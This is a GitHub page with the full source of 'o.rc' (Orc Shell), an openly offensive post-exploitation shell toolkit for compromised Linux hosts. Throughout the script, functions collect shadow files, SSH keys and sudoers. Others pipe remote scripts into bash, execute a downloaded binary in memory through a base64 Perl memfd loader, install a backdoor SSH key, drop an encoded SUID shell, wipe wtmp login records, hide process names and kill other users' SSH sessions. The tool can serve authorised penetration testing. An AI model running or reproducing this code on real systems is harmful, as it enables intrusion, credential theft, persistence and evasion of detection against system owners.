Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
1011 lines (922 sloc) 29.9 KB
#!/bin/sh
# o.rc
OVERSION="0.6"
# NOTES
#authors: March, Darren Martyn, Ulrich Berntien
# ~~~ Compatibility Layer ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# In the compatibility layer the functions to handle the differences
# between different Unix flavors, shell types are collected.
# Functions outside the compatibility layer call functions in this
# layer or call tools/programs common for all Unix flavors.
#
orc_existsProg () {
# Checks if a program/command exists.
# Argument: Program/command name to check.
# Exit status: 0 if one ore more programs do not exists.
if [ $# -lt 1 ]; then
echo 'Error: missing program name to check' >&2
return 1;
fi
hash "$@" > /dev/null 2> /dev/null
}
orc_loadURL () {
# Loads from an URL via curl, wget or perl.
# Argument: The URL to download, https is supported.
# Output to stdout: The content of the URL document.
# Global: http(s)_proxy variables will be used.
if [ $# -ne 1 ]; then
echo 'Error: argument must be one URL to load' >&2
return 1
fi
# A proxy could be set via environment variables to the tools.
# But some tools in some versions needs lower case and some
# needs upper case variable names. To increase portability
# both cases will be exported.
export http_proxy
export HTTP_PROXY
if [ -n "$http_proxy" ]; then
if [ -n "$HTTP_PROXY" ] && [ "$HTTP_PROXY" != "$http_proxy" ]; then
echo 'Warning: ignore HTTP_PROXY value and use http_proxy value' >&2
fi
HTTP_PROXY=$http_proxy
elif [ -n "$HTTP_PROXY" ]; then
http_proxy=$HTTP_PROXY
fi
export https_proxy
export HTTPS_PROXY
if [ -n "$https_proxy" ]; then
if [ -n "$HTTPS_PROXY" ] && [ "$HTTPS_PROXY" != "$https_proxy" ]; then
echo 'Warning: ignore HTTPS_PROXY value and use https_proxy value' >&2
fi
HTTPS_PROXY=$https_proxy
elif [ -n "$HTTPS_PROXY" ]; then
https_proxy=$HTTPS_PROXY
fi
if orc_existsProg curl; then
curl --silent --location --insecure -- "$1"
elif orc_existsProg wget; then
wget --quiet --no-check-certificate --output-document=- -- "$1"
elif orc_existsProg perl; then
perl -e 'use LWP::Simple qw ($ua head get);
$url = $ARGV[0];
$ua->ssl_opts(verify_hostname => 0,SSL_verify_mode => 0x00);
print get $url;
' -- "$1"
elif orc_existsProg python; then
# Do not insert the code because python is insert sensitive.
PYTHONHTTPSVERIFY=0 python -c '
import sys, urllib2
request = urllib2.urlopen(sys.argv[1])
sys.stdout.write(request.read())
' "$1"
else
echo 'Error: no download tool found' >&2
return 1
fi
}
orc_tryTcpConnection () {
# Try to open a TCP connection to given host and port.
# Argument: host name or host IP address
# TCP port number
# Return: 0 if and only if TCP connection could be opened
if [ $# -ne 2 ]; then
echo 'Error: need host and TCP port as arguments' >&2
return 1
fi
if orc_existsProg bash; then
# Open a connection with the bash.
# This is a bash extension. POSIX shell will not support this.
bash -c "echo '' > /dev/tcp/$1/$2" 2>/dev/null
elif orc_existsProg nmap; then
# TCP connect scan with nmap
nmap -oG - -Pn -sT -p "$2" "$1" | grep -q "/open/tcp/"
elif orc_existsProg perl; then
perl -e 'use IO::Socket;
$s = IO::Socket::INET->new(
PeerAddr => $ARGV[0], PeerPort => $ARGV[1],
Proto => "tcp", Type => SOCK_STREAM)
or exit 1;
close $s;
' -- "$1" "$2"
elif orc_existsProg python; then
# TCP connection open with python version 2
# Do not insert the code because python is insert sensitive.
python -c '
import socket,sys
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
except:
sys.exit(1)
sys.exit(0)
' "$1" "$2"
elif orc_existsProg nc; then
# Open connection with netcat
# Do not use option -N here because not all nc implementations support
# this (e.g. busybox).
echo '' | nc -w1 "$1" "$2" 2>/dev/null
elif orc_existsProg bash; then
# Open a connection with the bash.
# This is a bash extension. POSIX shell will not support this.
bash -c "echo '' > /dev/tcp/$1/$2" 2>/dev/null
else
echo 'Error: no tool to open TCP connection found' >&2
return 1
fi
}
orc_listtmp() {
# List tmpfs directories with access information.
# Search in the list of tmpfs filesystem and in a list of common
# file destinations.
# Use simple df call to keep script compatible to the most systems.
# -l, -t, --output is not available on some systems, e.g. busybox.
{ df -P;
echo '/dev/shm';
echo "$XDG_RUNTIME_DIR";
echo '/tmp';
echo '/var/tmp';
echo "$TMPDIR";
echo "$HOME";
echo "$NHOME";
echo "/root";
} |
# filter: filesystem tmpfs and each directory only once
awk '(NF==1 || $1=="tmpfs") && hit[$NF]==0 {hit[$NF]=1; print $NF}' |
# filter: only existing directories
while read -r i; do
if [ -d "$i" ]; then
echo "$i"
fi
done
}
orc_makeHome() {
# Creates a home directory.
# Sets the variable $HOME to this new created directory.
# Searchs a temporary directory without noexec flag as base.
for base in $(orc_listtmp); do
if [ ! -r "$base" ] || [ ! -w "$base" ] || [ ! -x "$base" ]; then
# no read, no write or no searchable access
continue
fi
# Try to create a home directory
mkdir "$base/.q" 2>/dev/null
# Also possible to reuse an existing directory
if [ -d "$base/.q" ]; then
# try to create an executable
echo "test" > "$base/.q/.t"
chmod +x "$base/.q/.t"
if [ ! -x "$base/.q/.t" ]; then
# can not create a executable
rm "$base/.q/.t"
rmdir "$base/.q"
continue
fi
rm "$base/.q/.t"
# this is a good home
HOME="$base/.q"
return
fi
done
# no good home directory found. Use /dev/shm/.q as error fallback
echo 'Warning: found no good home directory, some functions may fail' >&2
HOME="/dev/shm/.q"
mkdir $HOME 2>/dev/null
}
orc_archive () {
# Archive a directory content in a file.
# Uses tar, zip or ar.
# Arguments: Base name of the archive file.
# Directory to archive.
# Return: 0 if and only if archive file creation was ok.
# Globals: Set ORC_ARCHIV_FILE to the name of the created file.
if [ $# -ne 2 ]; then
echo 'Error: archiver needs two arguments' >&2
return 1
fi
if [ ! -d "$2" ] || [ ! -r "$2" ]; then
echo "Error: archiver can not read $2" >&2
return 1
fi
# Now no archive file exists. Reset any old content.
ORC_ARCHIVE_FILE=""
if orc_existsProg tar; then
# try tar with internal xz compression
tar -cJf "$1.tar.xz" "$2" && ORC_ARCHIVE_FILE="$1.tar.xz"
if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg xz; then
# try tar with external xz compression
{ tar -cf "$1.tar" "$2" && xz -9 "$1.tar" && ORC_ARCHIVE_FILE="$1.tar.xz"; } || rm "$1.tar"
fi
if [ -z "$ORC_ARCHIVE_FILE" ]; then
# try the old gzip inside tar
tar -czf "$1.tar.gz" "$2" && ORC_ARCHIVE_FILE="$1.tar.gz"
fi
if [ -z "$ORC_ARCHIVE_FILE" ]; then
# try tar without compression
tar -cf "$1.tar" "$2" && ORC_ARCHIVE_FILE="$1.tar"
fi
fi
if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg zip; then
# try to zip the files
zip -9Xrq "$1.zip" "$2" && ORC_ARCHIVE_FILE="$1.zip"
fi
if [ -z "$ORC_ARCHIVE_FILE" ]; then
echo 'Error: no working archive tool found' >&2
return 1
fi
}
# ~~~ Helper Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# In the section of the internal helper functions are collected.
# The helper functions are typical not called by the user of o.rc
# Some user level functions uses the functions and variables defined
# in the helper functions section.
#
memfda=$(cat << EOF
IyEvdXNyL2Jpbi9lbnYgcGVybAp1c2Ugd2FybmluZ3M7CnVzZSBzdHJpY3Q7CgokfD0xOwoKbXkgJG5hbWUgPSAiIjsKbXkgJGZkID0gc3lzY2FsbCgzMTksICRuYW1lLCAxKTsKaWYgKC0xID09ICRmZCkgewoJZGllOwp9CgpwcmludCAiZmQgJGZkXG4iOwoKb3BlbiAobXkgJEZILCAnPiY9Jy4kZmQpIG9yIGRpZTsKc2VsZWN0ICgoc2VsZWN0KCRGSCksICR8PTEpIFswXSk7CgpwcmludCAkRkggcGFjayBxL0gqLywgcS8K
EOF
)
memfdb=$(cat << EOF
cHJpbnQgImRvbmVcbiI7CmV4ZWN7Ii9wcm9jLyQkL2ZkLyRmZCJ9ICJ0ZXN0IiwgIiIsICIiIG9yIGRpZTsK
EOF
)
alias 'echo'='/bin/echo'
# Create home directory and prepare remove at script exit
orc_makeHome
if [ ! -d "$HOME" ]; then
echo 'Error: can not find a home directory' >&2
exit 1
fi
trap 'rm -rf $HOME' EXIT TERM INT
# Creates a copy of this scipt in variable backup
# Should be start like "ENV=o.rc sh -i".
backup=""
if [ -n "$BASH" ]; then
# Script runs in bash. Here BASH_SOURCE exists.
# shellcheck disable=SC2169,SC2039
if [ -r "${BASH_SOURCE[0]}" ] && [ ! -r "$ENV" ]; then
# Script was started in bash via source.
ENV=${BASH_SOURCE[0]}
fi
fi
if [ -r "$ENV" ]; then
backup=$(cat "$ENV")
# Convert to absolute file name for later use.
ENV=$(realpath "$ENV")
fi
if [ -z "$backup" ]; then
echo 'Warning: backup variable with script file is not available' >&2
fi
NHOME=""
orc_createEchoFile () {
# Creates a shell script file which echos the arguments.
# Argument: Text to echo.
# Global: set $ORC_ECHO_FILE to the created file.
if [ $# -lt 1 ]; then
echo 'Error: missing text to echo' >&2
return 1
fi
if [ "$HOME" = "" ]; then
echo 'Error: HOME variable is empty' >&2
return 1
fi
# Create the script file in the prepared HOME directory
ORC_ECHO_FILE="$HOME/.c"
echo '#!/bin/sh' > "$ORC_ECHO_FILE"
if [ ! -r "$ORC_ECHO_FILE" ]; then
echo 'Error: can not create echo file' >&2
return 1
fi
# Limit access to the owner
chmod a-rw,u=rwx "$ORC_ECHO_FILE"
# The text must be single-quoted to prevent changes by the shell
echo "echo '$*'" >> "$ORC_ECHO_FILE"
}
orc_httpsProxyReminder() {
# Remind the user if https_proxy is not set and
# tcp connection error to the server at port 443.
# Argument: Name or IP address of the server.
# Output to stdout: Reminder.
# Global: https_proxy variable is checked.
if [ $# -ne 1 ]; then
echo 'Error: missing host name' >&2
return 1
fi
if [ -z "$https_proxy" ] && [ -z "$HTTPS_PROXY" ]; then
# no proxy is defined.
if ! orc_tryTcpConnection "$1" 443; then
# no connection and no proxy: remind
echo 'Info: connection problem, https_proxy could be needed' >&2
return 2
fi
fi
# else: if https_proxy is defined, then never remind
return 0
}
orc_log2outp() {
# Runs a command and writes output to files in $OUTP.
# arguments: basename command command-arguments
# outputs: pipes stdout into $OUTP/basename.txt
# pipes stderr into $OUTP/basename.err
# logs basename and command call in $OUTP/log.txt
if [ ! -d "$OUTP" ]; then
echo 'Error: output directory not defined or prepared' >&2
return 1
fi
if [ $# -lt 1 ]; then
echo 'Error: missing basename of the output files' >&2
return 1
fi
echo "$@" >> "$OUTP/log.txt"
basename=$1
shift
if [ $# -lt 1 ]; then
echo 'Error: missing command to execute' >&2
return 1
fi
"$@" >> "$OUTP/$basename.txt" 2>> "$OUTP/$basename.err"
}
orc_listusers() {
# Listing users in passwd with login shells.
# Reject shells named *nologin or *false as valid shells.
getent passwd |
awk -F ':' '
NF==1 && $1 !~ /^#|nologin$|false$/ {shells[$1]=1}
$7 in shells {print $1}' /etc/shells -
}
orc_home_of_userid () {
# Gets the home directory of the user.
# Argument: ID of the user.
# Output to stdout: home directory
if [ $# -ne 1 ]; then
echo 'Error: argument user-id must be given' >&2
return 1
fi
getent passwd |
awk -F ':' -v userid="$1" '$3 == userid {print $6}'
}
orc_home_of_currentuser () {
# Gets the home directory of the current user.
# Argument: -
# Output to stdout: home directory
orc_home_of_userid "$(id -u)"
}
orc_ourpts() {
# Get our PTS.
# Writes nothing if not connected to a PTS.
mytty=$(tty)
mypts=${mytty#/dev/pts/}
# Check if it is a pts device
if [ "/dev/pts/$mypts" = "$mytty" ]; then
echo "$mypts"
fi
}
# ~~~ User Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# The user functions are designed to be called by the o.rc users.
#
getdbus() {
echo "Dbus services for system:"
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
echo "Dbus services for session:"
dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
echo "See https://github.com/taviso/dbusmap for additional dbus auditing!"
}
getsec() {
echo "Let's see if there are any defences."
selinuxenabled >/dev/null 2>/dev/null
if echo $? | grep -q 0;
then echo "SELinux is enabled."
fi
command -V aa-status >/dev/null 2>/dev/null
if echo $? | grep -q 0;
then echo "AppArmor is probably installed."
fi
if grep -q PaX /proc/self/status; then
echo "GrSec and PaX live here."
fi
}
getinfo() {
echo "Gathering useful command output."
# Collect output files in $OUTP
OUTP=$HOME/files/
mkdir --mode 700 "$OUTP"
orc_log2outp passwd getent passwd
orc_log2outp uname uname -a
orc_log2outp ps ps -weFH
orc_log2outp w w
orc_log2outp last last -i
orc_log2outp uptime uptime
orc_log2outp id id
orc_log2outp date date
orc_log2outp cpuinfo cat /proc/cpuinfo
orc_log2outp free free -g
orc_log2outp route route -n
orc_log2outp hosts cat /etc/hosts
orc_log2outp resolve cat /etc/resolv.conf
orc_log2outp rpcinfo rpcinfo
orc_log2outp lsmod lsmod
orc_log2outp lsusb lsusb
orc_log2outp mount mount
orc_log2outp df df
orc_log2outp user_crontab crontab -l
if orc_existsProg ifconfig; then
orc_log2outp ifconfig ifconfig -a
else
orc_log2outp ifconfig ip link
fi
orc_log2outp netstat netstat -peanut
# The condition should work with POSIX sh and bash.
# Variable EUID is defined in the bash.
# Check EUID of /root works in dash (and in bash).
# shellcheck disable=SC2039,SC2169
if [ "$EUID" = "0" ] || [ -O "/root" ]; then
orc_log2outp shadow getent shadow
orc_log2outp ssh_keys find /home/ -name id_rsa
orc_log2outp sudoers cat /etc/sudoers
orc_log2outp crontab cat /etc/crontab
orc_log2outp iptables iptables -L
orc_log2outp secure cat /var/log/secure
orc_log2outp roothist cat /root/.bash_history
orc_log2outp sshd_config cat /etc/ssh/sshd_config
orc_log2outp root_dir ls -al /root/
#inelegant hack
orc_log2outp netstat netstat -peanut
if orc_existsProg getsebool; then
orc_log2outp sellinux getenforce
orc_log2outp sellinux getsebool -a
orc_log2outp sellinux sestatus
fi
fi
# Stores all single log files in one archive file.
if orc_archive "$HOME/f" "$OUTP"; then
echo "Find the output files in $ORC_ARCHIVE_FILE"
# Remove the single log files. Keep only the archive file.
rm -rf "$OUTP"
else
echo "Error: can not archive, the files are in $OUTP" >&2
fi
}
timedshell() {
echo "scheduling a reverse shell to launch later..."
}
getusers() {
echo "Listing valid users with shells."
orc_listusers
}
getuservices() {
echo "Listing all running services with non-user accounts in passwd."
{ orc_listusers; ps --no-header -weFH; } |
awk 'NF==1 {users[$1]=1}
NF>1 && !($1 in users) {print}'
}
getluks() {
if orc_existsProg lsblk; then
if lsblk -al | awk '{print $6}' | grep -q "crypt"; then
echo "Encrypted partition detected. Run lsblk to see more."
fi
elif orc_existsProg dmesg; then
if dmesg -T | grep -i Boot_image | grep -qi "rd.luks.uuid"; then
echo "Encrypted partition detected. No lsblk found. Investigate manual."
fi
fi
}
getspec() {
printf "RAM available: "
free -hm | tr '\n' ' ' | awk '{ print $8 }'
printf "CPU model:"
grep --color=never name /proc/cpuinfo | head -n 1 | awk -F ":" '{print $2}'
printf "Number of cores: "
grep --color=never -c processor /proc/cpuinfo
printf "Disk usage:"
df -h
}
getidle() {
# List all ptys and their idle times accurately.
# Arguments : none
# Globals : our_pty could contain the number of our PTY
export our_pty
our_pty=$(orc_ourpts)
# using stat and the shell glob, so no quotes
stat /dev/pts/* -c '%n %X %U' |
awk -v now="$(date +%s)" '$1 ~ /\/[0-9]+$/ {
gsub( /[^0-9]/, "", $1 )
list[$1]="PTY " $1 " is " now-$2 " seconds idle and owned by " $3
if( $1==ENVIRON["our_pty"] ) list[$1]=list[$1] " ** this is us **"}
END {for(i in list) print list[i]}'
# reminder: do not use gawk functions, e.g. systime
}
srm() {
# secure shredding of files
# Argument: file(s) to overwrite and to remove.
if [ $# -lt 1 ]; then
echo 'Error: srm needs a file name(s) as argument' >&2
return 1
fi
if orc_existsProg shred; then
shred -vzfun 2 "$@"
else
echo 'Warning: no file overwrite, only delete' >&2
# TODO: implement overwrite of file content and file name
# "--force" is not used because the long format is not accepted
# by all shells, e.g. busybox shell.
rm -f -- "$@"
fi
}
qssh() {
# ssh without a tty - qssh [password] [normal arguments]
# Arguments: password
# arguments feed through to the ssh
# Method: Creates a shell script file which echoes the password.
if [ $# -lt 2 ]; then
echo 'Error: qssh needs at least password and command as arguments' >&2
return 1
fi
if tty | grep -q "not"; then
orc_createEchoFile "$1"
shift
# shellcheck disable=SC2029
DISPLAY="" SSH_ASKPASS="$ORC_ECHO_FILE" ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T "$@"
else
echo 'Error: You have got a tty. You can not use qssh' >&2
fi
}
qsu() {
# sudo without a tty - qsu [password] [normal arguments]
# Arguments: password
# arguments feed through to the sudo
# Method: Creates a shell script file which echoes the password.
if [ $# -lt 2 ]; then
echo 'Error: qsu needs at least password and command as arguments' >&2
return 1
fi
orc_createEchoFile "$1"
shift
SUDO_ASKPASS="$ORC_ECHO_FILE" sudo -A "$@"
rm "$ORC_ECHO_FILE"
}
memexec() {
# Execute a binary in-memory from webserver.
# Argument: URL of the binary, http or https is supported.
if [ $# -ne 1 ]; then
echo 'Error: memexec needs URL as argument' >&2
return 1
fi
if ! orc_existsProg perl; then
echo 'Error: missing perl, can not execute in memory' >&2
return 1
fi
memfile=$(orc_loadURL "$1" | od --endian=big -An -x | tr -d ' ' | tr -d '\n')
finalmem=$(echo "$memfda" | base64 -d)
finalmem=${finalmem}$(echo "$memfile/ or die;")
finalmem=${finalmem}$(echo "$memfdb" | base64 -d)
echo "$finalmem" | perl
}
getpty() {
SHELL=$(command -v sh)
#echo "$backup" > "$ENV"
if [ -r "$ENV" ]; then
ENV="$ENV" script -c sh /dev/null
else
echo 'Error: ENV not defined. Can not start script' >&2
fi
}
getsuspect() {
# Pulls my suspect tool from github.
# ask and ye shall receive
# this janky, awful shortcut
if ! orc_existsProg bash; then
echo 'Error: bash needed but not found' >&2
return 1
fi
orc_httpsProxyReminder raw.githubusercontent.com
orc_loadURL 'https://raw.githubusercontent.com/zMarch/suspect/master/suspect.sh' | bash
}
keyinstall() {
touch "$HOME/.ssh"
touch -r /
sshkey="ssh-rsa [YOUR KEY HERE] $(whoami)@$(hostname)"
echo "$sshkey" >> "$NHOME/.ssh/authorized_keys"
}
psgrep() {
# process grep
# Argument: search pattern.
if [ $# -ne 1 ]; then
echo 'Error: psgrep needs grep pattern as argument'
return 1
fi
# don't list this process running the grep
ps -weFH | grep "$1" | grep -v grep
}
getescape() {
ps --no-header aux | awk -F" " '{print $1" "$2}' | grep "^$(id -u)"i | awk '{print $2}' | tr ' ' '\n' | while read -r i; do
if ls -di --color=never "/proc/$i/root/" | cut -d ' ' -f1 | grep -qe "^2"; then
echo "process $i seems to be outside the jail..."
fi
done
}
getjail() {
TTT=0
echo "Checking to see if we're in one giant simulation..."
if ls -di --color=never / | cut -d ' ' -f1 | grep -vqe "^2"; then
TTT=1
echo "We're in a chroot."
fi
if grep -qi "hypervisor" /proc/cpuinfo; then
echo "Virtual machine!"
TTT=1
fi
if dmesg | grep -qi "hypervisor"; then
echo "Virtual machine!"
TTT=1
fi
if dmesg | grep -qi "vboxvideo"; then
echo "Virtual machine! (Virtualbox)"
TTT=1
fi
if echo $TTT | grep -vq "1"; then
echo "Bare metal!"
fi
}
portscan() {
# Run a portscan against common ports
# List ports which allow TCP connections.
# Argument: Name or IP of the target box.
if [ $# -ne 1 ]; then
echo 'Error: portscan needs one host name or host address' >&2
return 1
fi
echo "Starting portscan of $1 ..."
for port in 21 22 23 80 443 8080 8443 129 445 3389 3306
do
if orc_tryTcpConnection "$1" "$port"; then
echo "Host $1 TCP port $port open"
fi
done
}
fpssh() {
# pull ssh remote host public fingerprints
# Argument: host name, arguments passed thru to ssh-keyscan
if [ $# -lt 1 ]; then
echo 'Error: fpssh needs host name as argument' >&2
return 1
fi
if ! orc_existsProg ssh-keyscan; then
echo 'Error: no ssh-keyscan program, can not get public keys' >&2
return 1
fi
ssh-keyscan "$@"
}
getip() {
#we use akamai and google here because they're gonna look less dodgy in SOC's lolgs
echo "Attempting to get IP..."
printf "HTTP says: "
orc_loadURL 'https://whatismyip.akamai.com'
echo ""
printf "DNS says: "
if orc_existsProg dig; then
dig TXT +short o-o.myaddr.l.google.com @ns1.google.com | tr -d \"
echo "(used dig)"
else
host -t txt o-o.myaddr.l.google.com ns1.google.com | grep descriptive | awk -F ' ' '{print $4}' | tr -d '"' | tr -d "\n"
echo "(used host)"
fi
}
prochide() {
# Execute a program hiden by a long program name.
# Arguments: program to execute with optional arguments.
# Method : use the longest command line of the current running
# processes as name of the program to start.
LONGARG=$(ps --no-header -wweo cmd | awk 'length(X)<length {X=$0}; END {print X}')
bash -c "exec -a \"$LONGARG\" $*"
}
getnet() (
echo "Let's see what we can find on the network..."
echo "ARP table:"
if orc_existsProg arp; then
arp -na | grep ether |awk -v FS="(\\\(|\\\))" '{print $2}'
else
ip neigh show | awk -F " " '{print $1}'
fi
echo "Pulling known hosts for your user and writing to $HOME/kh..."
awk -F ' ' '{print $1}' "$NHOME/.ssh/known_hosts" > "$HOME/kh"
)
wiper() {
# Removes entries from wtmp
# Needs write access to the wtmp file. Typical only root
# has write access to the login/logout record file.
# Argument: grep pattern to remove
if [ $# -ne 1 ]; then
echo 'Error: wiper needs grep pattern as argument' >&2
return 1
fi
utmpdump /var/log/wtmp | grep -v "$1" > "$HOME/.l"
touch -r /var/log/wtmp "$HOME/.l"
utmpdump -r -o /var/log/wtmp "$HOME/.l"
touch -r "$HOME/.l" /var/log/wtmp
}
getrel() {
# Prints the OS name from the release file.
# arguments: none
# output : print to stdout
# method : Cuts the name from lines like PRETTY_NAME="name".
awk -F= 'toupper($1)~/PRETTY/ {gsub(/\"/,"",$2); print $2}' /etc/*release
}
hangup() {
# Terminate someones PTS by killing their SSH process.
# arguments: Number(s) of PTS. A single number or a list
# of numbers in the arguments is possible.
# Or keyword "all" to terminate all PTS connected via SSH.
# Or keyword "all other" to terminate all but not our SSH.
if [ $# -lt 1 ]; then
echo 'Error: hangup functions needs argument: ID number of PTS' >&2
return 1
fi
if [ "$2" = "other" ]; then
NOT_THIS=$(orc_ourpts)
else
NOT_THIS=""
fi
if [ "$1" = "all" ]; then
PTS_LIST=$(ps -eo args | awk -v exclude="$NOT_THIS" '
tolower($0) ~ /sshd.*pts\/[0-9]+/ {
pts=substr($0,index(tolower($0),"pts/")+4);
if(pts != exclude) print pts }')
else
PTS_LIST="$*"
fi
echo 'This is seriously rude...'
for PTS_ID in $PTS_LIST; do
PTS_NAME="pts/$PTS_ID"
echo "Terminating $PTS_NAME"
OWNER=$(stat -c '%U' "/dev/$PTS_NAME")
if [ "$OWNER" = "" ]; then
echo "Error: can't get the owner of $PTS_NAME" >&2
continue
fi
echo "Owner of $PTS_NAME is $OWNER"
SSHD_PID=$(pgrep -a sshd | grep "$PTS_NAME" | cut -d ' ' -f 1)
if [ "$SSHD_PID" = "" ]; then
echo "Error: can't find SSHD PID of $PTS_NAME" >&2
continue
fi
echo "SSHD PID is $SSHD_PID"
echo 'Segmentation Fault.' > "/dev/$PTS_NAME"
sleep 2
kill -9 "$SSHD_PID"
done
}
getdocker () {
if [ -S "/var/run/docker.sock" ]; then
if [ -w "/var/run/docker.sock" ]; then
echo "Listing docker images..."
docker ps
else
echo "Docker socket exists, but we don't have access."
fi
else
echo "Don't see the docker socket. No Docker?"
fi
}
getexploit () {
# Download and run linux-exploit-suggester.
# need a better way to do this, honestly
# i'd like to pass the -g argument to the script
if ! orc_existsProg bash; then
echo 'Error: bash needed but not found' >&2
return 1
fi
orc_httpsProxyReminder raw.githubusercontent.com
orc_loadURL 'https://raw.githubusercontent.com/bcoles/linux-exploit-suggester/master/linux-exploit-suggester.sh' | bash
}
getenum() {
echo "Doing some basic listing of the usual suspects..."
printf "Kernel: "
uname -rv
printf "glibc: "
readonly libcv="$(ldd "$(command -v id)" | grep --color=never libc.so | awk -F " " '{print $3}') | grep --color=never -i version | grep -v crypt)"
$libcv
printf "dbus: "
dbus-daemon --version | grep --color=never Daemon
printf "Init system is: "
ps -p 1 | grep --color=never -v CMD| awk -F " " '{ print $4 }'
}
gettmp () {
echo 'Typical directories for tmp files:'
for i in $(orc_listtmp); do
printf "%s" "$i"
TTT=0
if [ -x "$i" ]; then
printf ' searchable'
TTT=1
fi
if [ -r "$i" ]; then
printf ' readable'
TTT=1
fi
if [ -w "$i" ]; then
printf ' writeable'
TTT=1
fi
if [ $TTT -eq 0 ]; then
echo ' permission denied'
else
echo ''
fi
done
}
gethelp() {
echo "
A probably non-comprehensive list of functionality in Orc v$OVERSION.
[*] getenum - get kernel, glibc, and dbus versions
[*] getinfo - create a tar.xz of useful command output
[*] getrel - attempt to get the OS release file.
[*] getdocker - check docker socket status, and list images.
[*] getluks - attempt to detect disk crypto with lsblk or dmesg
[*] getip - get external IP from akamai and google (HTTP and DNS)
[*] getjail - check if we're in a chroot/VM
[*] getsec - check if the big three security MAC programs are around
[*] gettmp - list typical directories for tmp files
[*] getusers - pull all users with a shell
[*] getpty - pop a pty with script
[*] getidle - list all ptys and their idle times accurately.
[*] getnet - attempt to enumerate hosts on the local network with ping
[*] getsuspect - pull my suspect tool from github
[*] getspec - grab some hardware information
[*] getuservices - list all running services with non-user accounts in passwd
[*] getescape - attempt to escape chroot via bad privs
[*] on the /proc/ filesystem
[*] getdbus - list all dbus services
[*] getexploit - download and run linux-exploit-suggester
[*] memexec - execute a binary in-memory from a webserver
[*] - memexec [full URI] (x64 only)
[*] portscan - run a portscan against common ports - portscan [host]
[*] prochide - run a program with $0 changed to the longest entry in ps
[*] - prochide [program + args]
[*] srm - alias for secure shredding of files
[*] qsu - sudo without a tty - qsu [password] [normal arguments]
[*] qssh - ssh without a tty - qssh [password] [normal arguments]
[*] wiper - remove entries from wtmp - wiper [string to grep out]
[*] fpssh - pull ssh remote host fingerprints - fpssh [host]
[*] stomp - alias for touch -r (needs arguments)
[*] tools - check for common tools
[*] dropsuid - drop tiny suid shell - dropsuid > [file]
[*] hangup - terminate someones PTS by killing their SSH process.
[*] Very loud, DO NOT USE.
[*] - hangup [PTS NUMBER]
"
}
# exit if home directory access is not possible
cd "$HOME" || exit
alias 'stomp'='touch -r'
alias 'tools'='type dig perl python gcc nc openssl wget strace gcore nmap gdb curl wget tcpdump'
alias 'dropsuid'='echo "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA
AAAAAIAECACABAgHAAAABwAAAAUAAAAAEAAA6AEAAADpWJCDwAxQw7sAAAAA6bgXAAAAzYDrAem7
iIAECLgLAAAAMckx0usB6THJzYAAAC9iaW4vc2g=" | base64 -d'
alias 'psfull'='ps -weFH'
alias 'listener'='netstat -peanuto'
alias 'netgrep'='netstat -peanuto | grep'
alias 'getp'='getent passwd'
alias 'psql'='PSQL_HISTORY=/dev/null psql'
alias 'ssh'='ssh -T -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'
alias 'less'='LESSHISTFILE=/dev/null less'
alias 'wget'='wget --no-hsts'
alias 'vim'='vim -ni NONE'
alias 'mysql'='MYSQL_HISTFILE=/dev/null mysql'
unset HISTFILE
HISTSIZE=0
umask 002
if orc_existsProg ulimit; then
echo "coredumps disabled by ulimit"
#disabling shellcheck here, we're doing our best
# shellcheck disable=SC2039
ulimit -c 0
elif orc_existsProg limit; then
echo "coredumps disabled by limit"
limit coredumpsize 0
else echo "no limit/ulimit - coredumps left enabled, careful"
fi
echo "=========== Info ==========="
echo "Short kernel info: "
uname -rni
echo "IP address on the network: "
if orc_existsProg ifconfig; then
ifconfig | grep inet | grep -v inet6 | awk -F " " '{ print $2 }' | grep -v 127 | grep -v "::1$"
else
ip addr show | grep inet | grep -v inet6 | awk -F " " '{ print $2 }' | grep -v 127 | grep -v "::1$"
fi
printf "We are uid "
id -uz;printf " - "; printf "(";whoami | tr -d '\n';echo ")"
printf "Machine has been "
uptime -p
if [ -f /etc/machine-id ]; then
printf "Unique Machine ID: "
cat /etc/machine-id
fi
echo "============================"
echo "=== Welcome to Orc Shell ==="
echo "Run gethelp to see a list of commands."
echo "$HOME should be deleted upon exit."
PS1='$USER'"@$(hostname):"'$PWD'"$ "
NHOME=$(orc_home_of_currentuser)
#rm $ENV
You can’t perform that action at this time.